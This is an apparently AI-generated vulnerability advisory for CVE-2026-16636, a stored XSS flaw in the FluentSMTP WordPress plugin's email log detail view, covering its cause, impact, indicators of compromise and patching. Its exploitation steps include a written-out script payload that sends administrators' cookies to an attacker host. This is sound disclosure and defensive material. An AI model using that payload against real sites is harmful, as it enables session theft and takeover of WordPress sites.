CVE-2026-16636
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-16636 is a Stored Cross-Site Scripting (XSS) vulnerability in the FluentSMTP – WP SMTP Plugin for WordPress, affecting all versions up to and including 2.2.95. The flaw exists in the Email Logs feature, where insufficient input sanitization and output escaping of the recipient display name (to.name) allows unauthenticated attackers to inject arbitrary web scripts. The vulnerability was published on August 6, 2026, with a patch available in version 2.3.0. It carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically insufficient sanitization of the to.name (recipient display name) field stored in email logs via WordPress's wp_mail() function. The payload is stored in the log database and does not execute in the list view — which applies the escapeHtml pipeline — but fires only in the detail view when an administrator uses the Prev/Next navigation controls, a code path that bypasses the escaping logic. Vulnerable code paths are identifiable in app/Models/Logger.php (lines 165 and 310), app/Services/Mailer/BaseHandler.php (lines 290 and 357), and the admin JavaScript bundle fluent-mail-admin-app.js (GitHub Advisory).

Impact

Successful exploitation allows an unauthenticated attacker to inject persistent malicious scripts into the WordPress admin panel's email log detail view. When an administrator navigates the log detail view using Prev/Next controls, the injected script executes in their browser session, potentially enabling session token theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and access to sensitive site configuration data. The scope is changed, meaning the impact extends beyond the plugin itself to the broader WordPress installation (GitHub Advisory).

Exploitation steps

  1. Identify target: Locate a WordPress site running FluentSMTP plugin version ≤ 2.2.95 (e.g., via WordPress plugin enumeration or HTTP response headers).
  2. Craft malicious display name: Prepare a recipient display name containing an XSS payload, such as Attacker<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  3. Trigger wp_mail() with payload: Cause the target WordPress site to send an email to an address using the crafted display name — this could be achieved via a contact form, registration email, or any site feature that passes attacker-controlled input to wp_mail() as the recipient's display name.
  4. Payload stored in logs: FluentSMTP logs the email, storing the unsanitized to.name value in the email log database.
  5. Wait for administrator interaction: The payload remains dormant in the log list view (which applies escapeHtml). The script executes only when an administrator opens the email log detail view and uses the Prev/Next navigation controls, which bypass the escaping pipeline.
  6. Achieve objective: The injected script executes in the administrator's browser, enabling session hijacking, credential theft, or further administrative compromise (GitHub Advisory).

Indicators of compromise

  • Logs: WordPress database entries in the FluentSMTP email log table containing HTML/JavaScript tags within the to_name or recipient display name field; unexpected entries with encoded characters (<, >, &#x3C;, javascript:) in email log records.
  • Network: Outbound HTTP requests from an administrator's browser to unknown external domains shortly after accessing the FluentSMTP email log detail view; DNS queries to attacker-controlled domains originating from admin browser sessions.
  • File System: Unexpected new WordPress admin user accounts or newly installed plugins/themes following administrator access to email logs (indicative of post-XSS actions).
  • Process/Application: WordPress audit log entries (if enabled via plugins like WP Activity Log) showing admin account changes, plugin installations, or settings modifications immediately after email log detail view access.

Mitigation and workarounds

Update the FluentSMTP plugin to version 2.3.0 or later, which includes the fix applied in changeset 3635135 that adds proper output escaping for the to.name field in the detail view navigation path (GitHub Advisory). As an interim workaround, restrict access to the FluentSMTP email logs to the minimum number of trusted administrators, and implement a Content Security Policy (CSP) header to limit the impact of any XSS execution. Site owners should also audit existing email logs for suspicious content in recipient display name fields.

Community reactions

The vulnerability was reported to the Wordfence threat intelligence database and published simultaneously to the GitHub Advisory Database and NVD on August 6, 2026. No significant public researcher commentary or social media discussion has been observed beyond standard vulnerability aggregator coverage (GitHub Advisory).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-15991HIGH8.8
  • file-manager
NoYesAug 06, 2026
CVE-2026-15459HIGH8.1
  • wpmudev-updates
NoYesAug 06, 2026
CVE-2026-7529HIGH7.5
  • wisecampaign
NoYesAug 05, 2026
CVE-2026-18325HIGH7.2
  • forminator
NoYesAug 06, 2026
CVE-2026-16636HIGH7.2
  • fluent-smtp
NoYesAug 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management